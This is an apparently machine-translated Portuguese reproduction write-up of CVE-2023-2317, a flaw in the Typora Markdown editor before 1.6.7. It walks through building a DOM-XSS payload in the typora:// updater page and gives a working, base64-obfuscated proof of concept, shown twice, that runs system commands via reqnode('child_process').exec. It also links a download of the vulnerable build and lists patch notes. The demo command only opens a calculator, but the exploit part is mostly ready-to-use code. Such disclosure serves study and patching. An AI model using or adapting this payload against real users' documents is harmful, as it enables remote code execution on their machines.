Declaração:
Este artigo é apenas para trocas técnicas. Por favor, não o utilize para fins ilegais.
Quaisquer consequências e prejuízos diretos ou indiretos causados pela divulgação e uso das informações fornecidas neste artigo são de responsabilidade do próprio usuário. O autor do artigo o artigo não assume qualquer responsabilidade por isso.
1. Introdução do produto
Typora é um editor Markdown leve desenvolvido por Abner Lee. Ao contrário de outros editores Markdown, Typora não usa uma exibição de coluna dupla de código-fonte e visualização, mas usa um método de edição WYSIWYG para alcançar Tem a função de visualização instantânea, mas você pode também mude para o modo de edição de código-fonte.
2. Visão geral da vulnerabilidade
Razão: protocolo typora
Typora implementa o protocolo typora:// internamente, que pode ser usado pelo Typora para acessar arquivos específicos.
Há uma vulnerabilidade de segurança nas versões anteriores ao Typora 1.6.7. A vulnerabilidade decorre do fato de que o código JavaScript pode ser carregado na janela principal do Typora carregando typora://app/typemark/updater/update.html na tag.
3. Explorando vulnerabilidades
por
<script src="typora://app/typemark/lib.asar/MathJax3/es5/input/tex/extensions/xypic.js" charset="UTF-8"></script>
Para este acesso, por exemplo, lib.asar está localizado na pasta de recursos do diretório de instalação do Typora, e updater.html está localizado no arquivo updater do diretório de instalação do Typora. Portanto, usando o protocolo typora:// para acessar o atualizador .html deve ser escrito assim:
typora://app/typemark/updater/updater.html?a=xxx&b=xxx&c=xxx
Criar carga útil
De acordo com o pensamento convencional, deveríamos exigir a biblioteca child_process e então chamar o parâmetro exec, mas a função require não é definida em typora, mas a função reqnode é usada em seu lugar:
Portanto, a carga útil no ambiente Windows pode ser escrita assim:
reqnode('child_process').exec("calc")
Pacote na tag svg para implementar o carregamento da página:
<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>
Para ter efeito em ambientes Windows e Linux, podemos escrever a carga assim:
<svg/onload=top.eval(`reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])`)></svg>
Finalmente, a codificação URI é realizada nos parâmetros releaseNoteLink e rótulos. O POC final é:
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
decodificação base64
4. Recorrência de vulnerabilidades
Quando este PoC é carregado no Typora, updater.html é carregado usando uma carga útil DOM-XSS, que executa o código JavaScript na janela principal, executando comandos do sistema. As operações específicas são as seguintes:
1. Baixe e implante o ambiente de versão vulnerável. A versão de implantação aqui é
Typora para Windows 1.5.12 (o pacote de instalação está disponível no disco de nuvem Baidu abaixo)
Link: https://pan.baidu.com/s/12SMngr3Ks3D_OJ1KO17Zgw?pwd=i13d
Código de extração: i13d
Dicas: Você precisa ativá-lo após o download, se quiser apenas reproduzi-lo não precisa ativá-lo.
2. Crie um novo arquivo md e escreva o código poc. Observe que o tipo é html.
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
3. Em seguida, abra o arquivo e o comando será executado.
Abra a calculadora com sucesso
4. Teste o vídeo
Fica tão embaçado quando carregado na plataforma que todos podem dar uma olhada##
Execução do comando Typora: CVE-2023-2317
5. Sugestões de reparo
Atualmente, o fabricante lançou um patch de atualização para corrigir a vulnerabilidade. O link para obter o patch é:
https://support.typora.io/What's-New-1.6/
https://buaq.net/go-175535.html?utm_source=feedly